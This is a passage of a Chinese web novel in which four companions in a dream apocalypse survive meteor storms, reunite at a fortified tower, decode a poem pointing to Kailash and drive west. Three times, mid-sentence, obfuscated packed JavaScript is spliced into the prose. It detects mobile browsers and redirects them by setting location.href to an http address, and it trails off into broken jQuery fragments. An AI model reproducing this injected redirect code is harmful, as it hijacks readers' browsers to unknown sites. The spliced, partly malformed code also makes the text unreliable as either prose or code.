夏烛用力抓住风眠的衣服,否则她很有可能被这辆超负荷运行的小电动给狠狠甩到身后。第一西城,她知道这是什么地方。 那张从儿童房撕下来的地图上,简单地将这个世界划分成东南西北四个部分,而西方一共四座主城,他们要去的地方正是叩响西部地区的第一道门。 于是,接下来的旅程,他们靠着不断偷来的电瓶,从山岭开出雪山,又从雪山开进戈壁,在山洞里休息换药,躲避流星和整夜的雨,这里虽然和现实世界的分布相同,但是距离大大被缩短了,否则按照原本的篇幅,不知道何年马月才能和风枫他们汇合。 这些天里,两人也摸清了天灾的规律,每到傍晚太阳落山的时候,就会进行一场全世界范围内的火流星坠落,大概持续两三个小时,只需要在这段时间找到安全的掩体就能暂时躲过一劫。 前几天还有一些山体掩护,可是今天进入戈壁滩一马平川,连块大点的石头都没有,傍晚快要来临,他们得抓紧时间开进城市里。 第一西城,就在视野里,地平线上了。 夏烛风眠为了快一点和风枫汇合已经连续几晚没有合眼了,奔波了好几天,看上去已然比那日的流浪汉还要糟糕,踏上西部地区之后,他们的背包里装的几乎都是矿泉水了,饱腹的只有一些干粮。 两人灰头土脸像是要去圣地取经,屋漏偏逢连夜雨,白龙马小电驴终于在重压之下光荣牺牲。 顶着不断西移的烈日,他们决定步行进城。 苍茫戈壁就像一卷陈年生宣,只有黄沙和枯瘦虬结的骆驼刺是寂寥中唯一的点缀。如果不是落日下一座竖立着红色五星的钢铁建筑出现在眼前,两人就快要被这种无尽的孤独感折磨的无法前进一步了。 “这是小枫说的五星塔楼吗?”风眠的嗓子都快要冒烟了,大多数时候他是不愿意说话的,但那塔楼平地起在一片黄沙之中,他生怕自己出现幻觉看错,所以向一旁早就处于宕机状态的夏烛确认。 虽然塔楼出现的位置和视野中的主城区相隔甚远,但那座由钢铁组成四面无孔的建筑确确实实存在。 高温使得空气波动,耀眼的红星似乎要在气浪中融化。 最后一滴水消耗殆尽,两人像逃窜的难民相互搀扶着跨过边境线。 直到走到塔楼驻地的大门前,风眠和夏烛几乎要抱头痛哭,尤其是风眠的心理防线终于崩塌,他一路上一直不停地脑补自己的小妹妹这些天来是如何辛苦。 千里迢迢地自己找到了安全驻地,还在灾祸之中为他们传达了希望的讯息。 两人相顾无言惟有泪千行,只是风眠的泪水划过脸庞留下的是灰黑色的痕迹以及露出底下白皙的皮肤,看着他滑稽的样子,夏烛忍不住笑出声。 可她自己也没好到哪里去,笑起来露出一排白牙齿,像是某款牙膏的包装封面。 两人正面对面傻笑,调侃的话还没说出口,突然从驻地内部冲出来一队黑衣人,二话不说就将他们二人钳制,早就没有体力的夏烛和风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878798|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠只能脑袋发懵地被黑衣人架着进入五星大楼。 夏烛艰难地别过头,看见自己破破烂烂的双肩包被遗留在了大门外,气若游丝地喊道:“包…我的包…” 好在居然有黑衣人听到了她的诉求,返回原地捡起了她的包,夏烛终于可以耷拉着脑袋随他们拖着摆烂了。 这地方简直铜墙铁壁,怪不得能在天灾中幸免于难,整个建筑像是专门为这场冲击而造,钢铁由内而外浑然一体,夏烛垂着头,看着光滑到能反射自己狼狈模样的地板,找不出任何一条缝隙。就好像整栋大楼都是一块天外玄铁筑成的。 黑衣人架着两人走了许久,终于在一处大厅中松了手,没有了支撑点的夏烛和风眠顺势跪趴在了地上。 两人脸贴着地,冲着对方,眼神短暂交流了几秒。 大概是: “什么情况?” “不知。” “怎么感觉我们是被小兵压上了公堂,现在即将要面对居高临下的boss了??” “不知。” “要不要跑??” “我的包还在他们手里。” 风眠叹了口气,刚撑着双手直起身体,一颗红色的炮弹就以迅雷之势向他们冲了过来。 “老哥!阿烛!” 红色炮弹化身成红色小旋风,扑在两人身上,左右一只胳膊牢牢锁住二人的喉。 “俺就知道你们一定会来的!!” 风枫眼泪鼻涕糊了一脸,抱住两人的头又迅速拉开了距离。 “你们闻上去不太妙,这一路看来很是不容易。” 她把两颗风尘仆仆的头推远了一些。 黑衣人派出代表上前回话。 “小姐,人已经带到了,我们就先下去了。” “下去吧,下去吧。”风枫随意摆了摆手。 小姐??? 风眠瞳孔地震颇为震惊,她这是拿的什么狗血剧本,敢情几人中只有自己是个纯粹的热心市民。 “俺还是先带你们洗个澡吃点好的吧,新一轮的火流星快来了。”风枫往身后招了招手,他们这才看到,原来嬴犽一直站在她身后,见风枫小姐发话了,衷心的保镖兼管家沉默地走上前来,伸出他那双只有一只完整手臂的手扶住了风眠。 他本来想拒绝奈何自己脚下实在虚浮,只能咬着牙让嬴犽搀扶着自己。 这个地方像是一个安全基地,除了堆积成山的物资,还有一群黑衣人井然有序地走来走去似乎是在巡逻护卫。 夏烛暂时松了口气,看他们的样子对风枫马首是瞻,她也能放下心洗了个热水澡,身上的疲惫尽数洗去,现在才感觉到饥饿,像是能吃下一整头牛。 “所以这些天你都经历了什么?”夏烛和风眠洗漱了一番,四人重新围坐在餐桌前,他很是好奇风枫拿的什么剧本。 “哎呀,俺其实也很懵啦。”风枫嘿嘿一笑,伸手挠了挠头,金尊玉贵改不了老实人的淳朴内心。 果不其然,新一轮的火流星再次袭来,不过这座钢铁堡垒完完全全能扛住几小时的迅猛攻势,坐在餐桌上的几人,互相交流着入梦几天后的见闻,吃着盘中的新鲜食物,水源不再紧缺稀有。 撞击声和爆炸声被层层防护隔绝在外,就像一场灯火酒绿的晚宴,配合着客人用餐,室外点燃了绚烂的烟花,似乎只缺少一位演奏优雅曲目的乐手。 39.自由之地(六) “什么情况??” 风枫睁开眼睛。 桌椅板凳,黑板老头,一旁的窗帘被风高高扬起钻进室内,就像一条蓝色的火舌企图舔舐天花板上摇摇欲坠的吊灯,黑板地上写着八个大字:圣一高中,成功之路。 又是学校。 怕什么来什么,她真是和学校有仇。 不过这都不是重点,重点是她左看右看,前看后看,看得讲台上头顶锃亮的老师都忍不住提醒她注意课堂纪律了,还是没有找到一起入梦的另外三人。 风枫绝望地往后一靠,瘫在了座椅里。 那个矮小且秃顶的老头到底讲了什么,她是一句没有听进去。只能浑身无力地靠着座椅靠背,双眼无神地盯着窗外。 靠窗的位置总是留给主角的。 可是主角风枫的心像这个午后的天气一般阴沉。 乌云滚滚,厚重地遮在头顶像一层糊太多的水泥浆,随时会从半空中滴落下来,空气中满是潮湿的味道,水汽饱满充足,风雨欲来,左侧的窗帘全被吹进了教室,引得一阵喧哗,所有人的灵魂似乎都不在课堂上了,一颗从枯燥数学里逃出来的心隐隐期待着即将到来的一场暴雨,能够淋湿课桌,打湿书本,最好是淹掉整个学校。 就连老师也无法压下教室内的躁动,何况这是今天的最后一节课,暴雨和放学叠buff,他干脆假装没有看到,继续在黑板上写着板书,毕竟谁不想下班回家呢。 穿堂风带着水汽刮过教室,将桌面上的书页哗哗地翻动,一片窗帘打在了风枫的头上,她无动于衷地单手撑着下巴,对于现在局面想不出任何解决方案。 “静观其变咯。”这个位置视野开阔,对面那栋教学楼的窗帘也被风吹了起来,格子间里的教室中,老师正安排着同学将窗帘挽成一个结,这样既能通风又不会影响学生的注意力,要知道任何学习以外的东西对课堂上学生都是致命吸引。 从风枫的角度看,每一格教室里都在上演不同的场景剧,比数学课有趣多了。 忽然视线中四楼某间教室的窗边停了一个学生,她似乎被什么东西吸引了目光,就连身后的老师出声提醒,也无动于衷。 紧接着,一整栋楼,越来越多学生挤在了各自的窗户边,有一些甚至从窗沿上探出了头,这样危险的动作引得老师纷纷上前阻止,可他们也停下了脚步,呆呆地仰着头。 躁动不安的气氛在校园中弥漫。 “什么东西…”风枫坐在靠窗的位置,也好奇地偏出头去,没做任何心理准备就看见黑沉的天空中一颗巨大的土星破出云层缓慢地靠近地球。 “…” “终于来点不一样的了!” 风枫从座椅上弹了起来,兴奋地向外探出大半身子。 “什么什么??世界末日还是外星人?”她自言自语,狂风将一头红发吹向身后,身下是五六层的高度,这个姿势让人看了揪心。 突然的动作吓了所有人一跳,老师正要斥责,可是同样发现天边异常的同学们全都站了起来,闹哄哄地围在窗边。 “我靠…行星撞地球啊….” “我说今天能没有家庭作业吗?” “提前放学?放假几天?” “好了好了,我也不瞒着大家了,是时候站出来拯救世界了!” 没有人感到害怕,大家都兴奋地讨论着这颗突然出现的巨大土星。 随着天色更暗,万千星群跨越光年从云层后现身,三轮圆月是先锋的将士,这是一场由宇宙发动的战争。 “然后呢然后呢!”风枫觉得还不够,应该再来点什么更燥的,然后她的桌空里就传来了一阵震动声,还是经过别的同学提醒,她才意识到响声是从自己的书桌下面传来的。 风枫一脸茫然地让出靠窗的最佳位置,缩回了自己的座位上,摸出那部响个不停的手机,看着上面来电显示。 “司机。” “好稀奇啊电子产品诶…”她还有闲心说烂话,有点不太明白“司机”两个字是什么意思,犹豫了几秒要不要接通,但想起自己入梦可是有任务在身的,免得漏掉什么线索还是按下了接听键。 “喂?” 对面沉默了一秒,然后响起熟悉的声音。 “小枫,是我。” “嬴犽?!”天知道这个时候听到熟人的声音她有多激动,“你什么时候成司机了??” “….”那边可能是语言能力缺失,实在不知道怎么说,“我…” “好了,不用你说了。”还没等嬴犽组织好语言,一颗带着火焰的流星就在风枫眼皮下砸在了教室外的走廊上。 由于距离太近,热浪扑面而来瞬间蒸发掉周围的一切水分甚至短暂地带走了氧气,出于本能反应大多数同学都钻进了桌子底下。 尖叫声在耳边响起,风枫转过头瞥了一眼窗外的世界,越来越多的火流星从天而降,手机里传来变形的电流声,以及嬴犽着急的呼喊。 教室外的走廊已经坍塌,这间教室如临峭壁,风枫没有犹豫,转身踩上椅子一步跨到了外面的窗台边缘,狂风吹得她身上的衣服猎猎作响,站在高窗上的风枫此刻就像一个面对兵临城下却露出邪魅一笑的将军,所有戏剧冲突都是她的爱好 ,那双大眼睛倒映出一个星火坠落的世界。 手机信号正在消失,她用坚定地语气对嬴犽说:“现在知道你为什么作为司机存在了吗?带上你的座驾,圣一高中,速来接俺!” 没有等到嬴犽的回复,信号彻底断掉了,风枫也不太确定嬴犽有没有听到她的指示。不过这都无所谓,英雄而已,一个人做刚刚好。 她将已经没用的手机塞进包里,然后张开了双臂,能隐隐感到风力正在托举,让人误以为身处追风道中,只要说出一个名字就能瞬间脱离。 可她知道,追风道可不能设在魍魉梦中,什么天灾末日,都是魉的手笔罢了。风枫深呼了一口气,从窗台上一跃而下,伴随着周身坠落的流星碎片,逃窜的人群在身下如炸窝蚂蚁一般散开。 在快要触击地面的时候,一股力量破开大地,巨树般粗壮的藤蔓带着缓冲的力道接住了风枫,她只管在空中跳跃迈出脚下的步伐,丛丛藤蔓自会破土而出,稳稳充当红发少女逃出生天的阶梯,她像一只气势汹汹的小鸟飞舞着翅膀,躲避着大雨一般的落石。 学校的大门就在眼前,一颗当头而下的巨石却要挡住风枫的去路,她仰头看了一眼,没有丝毫停顿,伸出右手,从手心迅速甩出一条结实的藤蔓锁到了校门旁的柱子上,在巨石落下之前,如夏烛曾经期待的那样,野猴一般荡到了校外。 随着一个满分姿势优雅落地,红色小鸟高举双臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884445|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,向根本不存在的观众致意。 “等等…”不过她立马就认识到了眼前的处境。 “这个世界是不是太大了点?俺要往哪个方向走啊…” 天降奇兵,一只红眼乌鸦像狂风暴雨中高傲的海燕,穿过漫天的流星雨和下坠的火焰以极快的速度向风枫的位置俯冲而来,在确定目标接受到了信号后深深望了她一眼,然后甩动尾羽调了个头。 风枫明白那是嬴犽在为她引路,于是跟在乌鸦身后开启一路狂奔。 大道上都是混乱的人群,失灵的汽车碰撞在一起,高楼大厦即刻坍塌,乌鸦领着风枫拐进了一条小巷,看样子是要抄条近路,藤蔓辅助她极速穿梭,快到巷口的时候,突然冲进来一辆失速的越野,车头死死卡在了巷子口,碎石乱砖朝风枫撒来,她赶紧甩出两条藤蔓,缠在了狭窄巷子两侧的房顶上,借助惯性荡秋千一样从越野车头顶飞过正好躲开了砸来的碎石。 可她刚刚落地,正前方又冲过来的一辆汽车,车主似乎注意到了这边有人,立马踩住了刹车,导致车头漂移,整个车子横着朝风枫撞来。 “不是吧,怎么一茬接一茬的…”她正要再次升起藤蔓,横亘而来的汽车忽然打开了驾驶位的车门,一只苍白的手伸了出来,一把搂住风枫的腰,另一只森然白骨的手快速转着方向盘,行云流水以高难度的动作令车身重新回归正轨。 风枫被甩得七荤八素,不过也意识到了开车的是嬴犽,她晃了晃脑袋,挣脱了嬴犽牢固的怀抱,手脚并用地跑到了副驾上坐好。 “呼~”风枫擦了擦脑门上不存在的汗,四肢发软地融化在座椅上,她盯着前方不断变化左摇右晃的道路,欣喜地问嬴犽:“俺不知道,你还会开车捏。” 车里静悄悄没人说话,和外面的末日景象形成鲜明的对比。 风枫感受到小臂上起了一层鸡皮疙瘩,她有些颤抖地抓紧了安全带再次转头确认道:“俺不知道,你还会开车捏……” 她恨嬴犽像块木头一言不发。 “说点什么,好吗?” 嬴犽试图转过脸来对着风枫,被她察觉赶紧上手把他的头固定向前方。 他呆呆的声音通过骨传导从风枫指缝里溜出:“我也,不知道,我还会开车。” 小乌鸦终于开口,风枫以最快的速度系好了安全带,双脚并拢,手安分地放在膝盖上,双眼目视前方。 “不着急,车嘛,一开就会,哈哈。”她觉得自己得鼓舞一下士气。 好在风枫的话就是金口玉言,那句一开就会对嬴犽来说就像是有加成,他冷静地做了几个漂移动作稳稳躲过了几块掉落眼前的火流星。 风枫终于是松了口气,关键时候小乌鸦还是靠得住的。 “你见过俺哥和阿烛吗?” 嬴犽摇摇头。 风枫有些失落,眼神暗淡了很多。 “那你知道这是怎么一回事吗?为什么俺的手机里有你的联系方式?” 这次嬴犽能答得上来,他为自己能解风枫的惑而开心。 “我是你家的司机,我在车上醒来,有个女人让我来学校接她的女儿,我先打电话确认了一下,她的女儿就是你。” “女儿?老妈也入梦了??”风枫来了精神,就见嬴犽再次摇摇头:“不是那个妈。” “哦。” 40.自由之地(七) 风枫大概也猜到了,这都是他们在梦中拿到的剧本。 而她在这里显然还有别的家人,好消息是这个家听上去挺厉害的,还配了司机什么的,风枫也是第一次享受此等待遇。 坏消息是他们俩都不知道哥哥和夏烛的下落,看来四人小队要暂时分开了。不过她可以肯定,即使分开他们也会再次平安汇合的。 “所以俺们现在应该往哪里走?”风枫有些摸不着头脑,夏烛在团队中发挥的作用还是很大的,至少在一些关键时候,她总能做出最佳的决定。 “回家。” “回家??回谁的家?” “你的。”嬴犽的刘海长长地垂在眼前,风枫怀疑他是否能看清前方的道路,但这就是忧郁少年的人设造型,小时候就是这样了。 “我的家?你为什么能这么肯定?” “你的另一个妈妈让我无论如何都要把你安全带回,他们似乎早就知道会有这么一天,应该会有应对措施。” 也就是说嬴犽判断出带风枫回“家”是目前最安全的选择,所以勤勤恳恳扮演了一个好司机的角色,风雨无阻也要带回她这个小主人。 “好吧,但愿是这样。”风枫没话说了,她往后一靠,做选择题从来不是她的拿手项,她唯一能做的就是如果做出了选择,反而迎来了危险,那就用藤蔓绞杀一切危机,任何道路都将是走向胜利的那一条,这是风枫作为不明官准则。 她降下车窗,各种声音一下子涌进车内,汽车的轰鸣,爆炸,人群的尖叫呼喊,以及钢筋水泥的断裂崩解,带着烟尘的风吹动她一头红发。 “原来末日是这个样子。” 嘈杂声中响起一阵奇怪的嗡鸣,像是机械的震颤或者什么扇动翅膀的巨型昆虫正在靠近,那声音越来越大,灌进车内的风也越来越大。 “你听到了吗?”风枫转头看向嬴犽,后者呆呆地点了点头。 “什么…”她的话还没说完,风挡上方一架钢铁巨兽般的直升机正和他们的车并驾齐驱,主旋翼搅动着空气,一切碎石尘埃甚至是风枫周围的氧气都快被吸进那圈漩涡。 舱门缓缓滑开,一个穿着紫色绸裙带着巨大祖母绿耳环的女人出现在门边,她的眼神冷静而锋利,自上而下犹如一只睥睨天下的雌鹰,在风枫震惊的眼神下,女人从身后掏出了一个喇叭,放在嘴边,对着两人的方向,震天动地大喊:“宝贝小枫!!妈来接你了!!” 不得不说这个喇叭真是超出常识,竟然能在直升机的轰鸣下清晰地传出女人的声音,不仅他们两个听到了,恐怕整个城市的人也都听到了。 风枫呆滞地举起一只手,指着自己。 “是在叫俺吗?” 身边的嬴犽却无动于衷,依旧冷静自持地握着方向盘。 “哦,忘了说,你家好像是这个世界的首富。”他还担心风枫会过于震惊,没想到她适应得无比之快。 “什么首富还需要俺亲自去上学!”她边说着边从车窗探出身子,激动地挥着手臂回应女人:“老妈!!俺在这里!!” 嬴犽:“…”有时候他挺佩服风枫的,也许这就是天生的不明官,应变能力一绝,看来自己还是有差距的,得再练练。 风枫撞进两个怀抱,一个香香的,领口的质地舒适柔软,露出的皮肤部分温暖细腻,另一个有些别的味道,胸针的金属冷了她一跳,好在也很坚实。 她在这个世界的父母,某种程度上和现实重叠。就好像不论在哪里,不论身份地位有何变化,她始终都是家里的掌上明珠,这一点让嬴犽有些羡慕,他想到了自己的母亲,想到了那双充满厌恶的眼睛,然后立马闭紧双唇,变得更加沉默不语,站在风枫的身后,俨然一名保镖,在时刻保持警惕护卫主人的期间偶尔低头看向自己残缺的右手。 直升机直接将几人送回了城市边缘的五星塔楼基地,显然如嬴犽所说的,她的家人似乎早就预见了灾难而有所准备,只是对于准确时间没有把握,也不想影响风枫的正常生活,所以还是让她去学校上课,毕竟他们有信心,即使出现意外情况也能安全地带回这个宝贝女儿。 一高一矮一瘦一胖,两个大人围着风枫嘘寒问暖,这个组合搭配很有戏剧性。瘦高美丽的母亲和胖乎乎笑容憨态可掬的父亲,风枫对这个身份很是满意。 只是一想到还失落在外的风眠和夏烛,她就不□□露出悲伤的表情。 掌上明珠怎么能暗淡无光呢,两人紧张地握住风枫的手,询问她是否有哪里不舒服。 语气越是关心,风枫就越是想念哥哥和阿烛,那双大眼睛开始变得湿润,父母二人更是如临大敌,发誓只要风枫说出来,一切问题他们势必解决。 然后风枫扬起一个甜美无比的笑容,告诉他们,她有两个很重要的伙伴现在下落不明,她需要找到他们,并且平安的带到基地来。 风枫的“父母”也不管这个从小就没离开过身边的女儿为什么在外还认识别的朋友,二话不说就传令下去,一定要找到风眠和夏烛。 她倒是没想到,就算末日来临,钞能力居然还有用。 “事情就是这样的啦。”风枫摊开双手,给狼吞虎咽的两人诉说了一遍这些天来发生的事,就当是晚饭的佐料,讲了个故事,“至于俺爸俺妈怎么会提前预知灾难呢,这就得问你了阿烛。” 被cue到的夏烛从奶油蘑菇浓汤中抬起头,一脸茫然地对着众人。 “我?” 房间角落一扇厚重的机关门突然被推开,从里面走出来两个人,一男一女一矮一高,他们激动地朝着夏烛奔来,一左一右将她从座位中提了出来,哼哈二将般架着她,无比热情地握住她的双手。 ”夏老师,您没事真是太好了!这么多年,总算是见到本尊了哈、哈、哈、哈、哈。”风枫的“父亲”标准的老钱笑声,中气十足,但是说的话听得夏烛一愣一愣的。 另一边的女人见夏烛还叼着汤勺,完全没反应过来的样子,赶紧解释道:“我们就知道,当初选择资助您的研究准没错,这些年来我们靠着邮件来往,您预见的灾难果然发生了!”她轻轻拢住夏烛的肩膀,抬手指了指四周,“这里的一切都有您的功劳!只是我们没想到您居然还是小枫的朋友!真是缘分使然啊!” 夏烛只觉得鼻尖萦绕了一股沁人心脾的香味,女人冰凉的耳坠轻轻拍打在她的脸庞,闪闪发光夺走她的所有注意力,眼镜不自觉划到了鼻尖,她取下嘴里的汤勺忍不住点头:“使然…使然…” 餐桌上传来没忍住的笑声,风枫跳下椅子赶来拉开了父母替夏烛解围。 “哎呀老爸老妈,别为难阿烛了,你们知道的,搞研究的社交能力都那样!让她先吃饭吧!” 两人后知后觉,赶紧又把夏烛按进座位中,见她拿上餐具就开始往嘴里送东西,俨然饿坏了,边吩咐人加餐,边离开了房间。 “好了好了,汇总时间到!有什么线索都老实交代!别忘了俺们不明官的任务!” 基地的客厅是此处最温暖的地方,四个人横七竖八地躺在柔软的沙发和地毯上,火流星已经过去了,这会儿安静地只能听到壁炉中火星毕剥的声音。什么灾难啊任务啊,舒适得令人通通忘记。 只有风枫大小姐还记得身为不明官的职责,而第一个响应的则是嬴犽。 他从沙发站起来,一脸认真地说:“我没有线索。” “乌鸦,请坐。”他一直跟风枫在一起,能有什么线索。 嬴犽乖乖地重新坐回沙发里,风枫将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889077|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期待的眼神投向风眠和夏烛。 风眠陷进沙发里双手一摊:“我能有什么线索,我只是个热心市民。”他瞥了一眼旁边正在神游天外的夏烛,“夏老师可是知道很多哦。” 接收到信号的夏老师魂魄回体,她郑重其事地点头,从包里拿出那张精美的地图顺势铺在地毯上,还有那本看不懂的笔记。 “西方。”她伸手指了指地图上几乎看不清的红色标记,“我们要去这里。” “这俺也知道,老妈说某个地质学教授曾叮嘱他们,灾难来临就往西方逃难,但具体的地点在哪呢,人海茫茫,又得去哪里找魉?” 四人都围了过来,头抵着头看向地图上那本摊开的笔记。 笔记是目前信息最多的道具,地图除了那个模糊的标记以外已经找不出什么线索了,她们只能寄希望于笔记中的内容。 那些密密麻麻的英文和符号看得风枫两眼一黑往后一仰倒在地毯上。 “这是什么文字游戏,饶了俺吧。” “游戏?”夏烛凑近笔记本,眼神在各个单词之间来回切换。 “这好像就是一个解密游戏。” 还是一个很简单的解密游戏。 风枫让嬴犽找来了纸和笔,看夏烛趴在地上推演。 笔记中有一篇重复的小诗,出现在整本书的任何角落里。 “Keep ascending” “Iceclad light” “Aeternal spire” “Hallowed height” 意思是“持续攀登,冰封之光,永恒之塔,神圣之巅“。 这首小诗书写潦草,排版混乱,勉强才能辨别。不仅如此,诗中还出现了三个符号,一个直角指向左下的三角形,一个圆形和另一个直角指向右上的三角。如果不仔细看,会以为只是精神错乱的作者滴下的三个墨水疤。 而三个符号分别位于诗歌的左上,正中,和右下。 经过风枫一语道破,夏烛想到了《The Witness》一款经典的解密游戏。她当然没有玩过,只是从学校图书馆的角落里找到的一本《英国游戏设计大赛获奖者汇总》中看到过它的介绍。 夏烛看书很杂,只要是有图有字就算是扔在路边的零食包装袋,她也会研究半天。 她一直奉行,知识绝不能从单一类型中获取,毕竟人需要面对的不只是试卷,还有人生。 如果将笔记中的鬼画符和解密游戏联系起来,那问题就迎刃而解了,而这些看上去像是无意识写下的符号就都变成了解密的钥匙。 她把诗重新誊抄到空白纸张上,不过不是按照原来的排版,而是按照金字塔式的排列。因为原诗中出现的三个符号是作为定义空间拓扑规则而存在的,简答来说符号就是解密的基础坐标系。 第一个符号定结构,诗歌的排版如下: 1 Keep ascending 2 Iceclad light 3 Aeternal spire 4 Hallowed height 然后按照第一个符号(直角向左下的三角)的左斜边序列,可以提取每一行的首字母:K I A H,再按照第二个符号(直角向右上的三角)获得右斜边序列:A L S H。 而圆形符号定交集,则能将字母按顺序重组,相同者抵消,得到最后的单词。 “K A I L A S H”。 夏烛边解释边快速在纸上用线条连接所有的字母,最后将答案大写,画上一个圈。 “就是这里了。” “Kailash。” “冈仁波齐。” 41.自由之地(八) 客厅中持续了几秒的沉默,然后才听到另外三人此起彼伏的“哦~”“我就说”“害!”“原来如此”等声音。 “好了,目的地有了,那要到哪里去找魉呢?” “又来画像?” “末日,灾难,难道魉是个厌世狂,现实里实在做不到就来梦里炸掉地球?” “或者它单纯只是个热血番爱好者,从末日中逃出生天作为世界唯一幸存者很有成就感??” 四人面面相觑,这次的目标范围实在太大,手里的线索也并不明确,要从千万人中抓出魉难度系数太高了。 “我说,魉会不会是你在这里的父母?”风眠把目光投向仰面躺在地毯上的风枫,目前也就这两人同她们接触最多了。 “不会。”风枫难得这么斩钉截铁。 ”为什么不会呢,你想想看,也许魉是一个对生活感到厌倦的中年人,偶尔回忆起年轻时候看过的热血漫画或者电影,就想在梦中过过英雄梦的瘾,顺便再弥补弥补现实中没有儿女的遗憾…” “不会。”风眠被妹妹再次打断,风枫躺在地上,连姿势都没变过,“他们就是NPC而已。” 只会在特定的剧情走向你,溺爱这个根本不存在的女儿,活在他们虚拟的世界中,直到魉被找到,直到梦醒。 风眠不说话了,他默默地低下头,嘴角却微微上扬。 没有人在说话,只有壁炉里的木柴静静燃烧,忽然火舌闪烁,壁炉管道中的灰尘抖落了下来,溅起几颗火花,一种沉闷地声音从头顶传来。 四人立刻从缱绻舒适中脱身,神经紧绷地望着头顶的天花板。 “怎么回事?” 随着话音落地,大地开始摇晃,熟悉的撞击爆炸声接踵而来,和以往不同的是,火流星的攻势变猛了许多,就连这座专门为其而建的基地也摇摇欲坠。 “太好了,这下不得不提前出发了。”风眠从沙发上站起身,将小枫从地上一把扯了起来。 他们冲向门却迎面撞见匆匆赶来的小枫“父母”,女人一脸惊恐地拉住风枫的手,一下又一下的安抚。 “机库里的直升机全都失灵了,这次攻势来势汹汹,陨石坠落似乎影响了大地磁场,我们已经解散所有人,让大家各自往西方逃亡。”一旁的男人气喘吁吁,显然一路跑来,让他这具有些肥胖的身体吃不消。 “正好飞机也难以避开密集的陨石群,我在私人车库中留了两台车,大家跟我来吧!”男人拍了拍妻子的肩膀,眼神示意众人,转身跑在前头。 大家跟着他七拐八拐地穿过走廊,有些房间的天花板已经被砸出窟窿,惨白的吊灯因为电压不稳而频闪着,这场浩劫似乎在对抗中进化了,不再按照规定的时间也不再手下留情。 电梯一路往下,车库的大门缓缓打开,果不其然这个隐秘的空间中还有两辆重型越野。 “其他的车都分给了别人,这两辆可是经过改装的,虽然在天灾面前也不堪一击,但至少多一层保护嘛….” 男人的话还没说完,刚刚搭载他们的电梯却瞬间在爆炸中化为一摊废铁。 冲击波差点掀翻夏烛,她刚想拉过身旁的风枫,就见那个高瘦的女人已经将小枫护在了身下。 “来不及了!大家快上车!”风眠接过男人扔过来的钥匙,打开最近的车门坐进了驾驶位,与此同时,他们身后的车库大门也在缓缓拉开。 无间地狱在帷幕后现身,世界从未露出如此脆弱的一面,任何生灵在自然的威慑下都如巨人脚下的蝼蚁,从你身上狠狠践踏过去,可巨人本身都未必知道还有你的存在。 “快啊!”风眠从车窗里探出头,对着还蹲在地上的妹妹吼到,而那个肥胖的男人也已经坐进了另一辆车的驾驶位,他降下车窗,深深看了一眼依偎在一起的妻女。 “老妈,快走!”风枫反应过来,拉起女人的手就要往哥哥那边去,却被看似瘦弱的“母亲”拉停了动作。 风枫不解地回头,发现女人早就泪流不止,她精致的妆容已经完全花掉,就连价值连城的耳坠也像蒙尘了那样不再辉煌。 她的声音有些哽咽,但目前的情况已不容她调整好状态,她紧紧拉着风枫的手说:“我们就在这里分开吧。” “你和你的同伴们上一辆车,我和爸爸一起,不知道为什么,我们好像早就意识到会有这么一天,你似乎还有什么重要的事情要去做,而老爸老妈的人生任务就是在这里跟你道别,把你送上车把你送上车。” “虽然不太明白为什么会这样,但老爸老妈相信,小枫永远清楚自己的人生该如何走。” 女人胡乱往自己脸上抹了那一把,那张对风枫来讲刚才熟悉的面孔被泪水浇到滑稽。 “我还记得,你刚出生的时候,才这么大。”女人没来由的说了这么一句,她拢起双手比了个婴儿大小的形状。 风枫一怔,就好像面前这个哭到不能自理的女人真的曾经生下过她一样。 “去吧!”她突然伸手推了风枫一把,让风枫脱离自己身边撞到了等在一旁的夏烛怀里,“放心好了,老爸老妈会尽力跟在你们后面!”说完女人头也不回地跳上的车,而那个身材并不高大的男人嘴里叼着一根不知道什么时候点燃的雪茄,将手伸出窗外,对风枫竖起大拇指。 “很久没亲自开车了呢,想当年,老爸可是凭借帅气车技征服你妈的。” 风枫呆呆地站在原地,她还没有反应过来发生了什么,就被夏烛拉着上了风眠的车。等到意识到刚刚经历了分别,两辆车已经一前一后地冲出了车库,迎着末日驶向目的地。 这两辆车估计是风枫“父母”为逃亡做的最后准备,车里有更加细节的地图导航,充足的食物储备和水资源。 嬴犽坐在副驾为风眠指路,而夏烛和风枫则在后座,这里便于她时刻往后面找寻另一辆车的身影。 根据地图指示,他们需要穿过城市,再次进入戈壁公路。 而男人果然没有吹牛,他一直紧紧咬着风眠的车屁股,顺便躲避从天而降的陨石,还能抽空朝趴着后座看他们的风枫眨眼睛,那样子好像在说,看吧,老爸帅气不减当年呢。 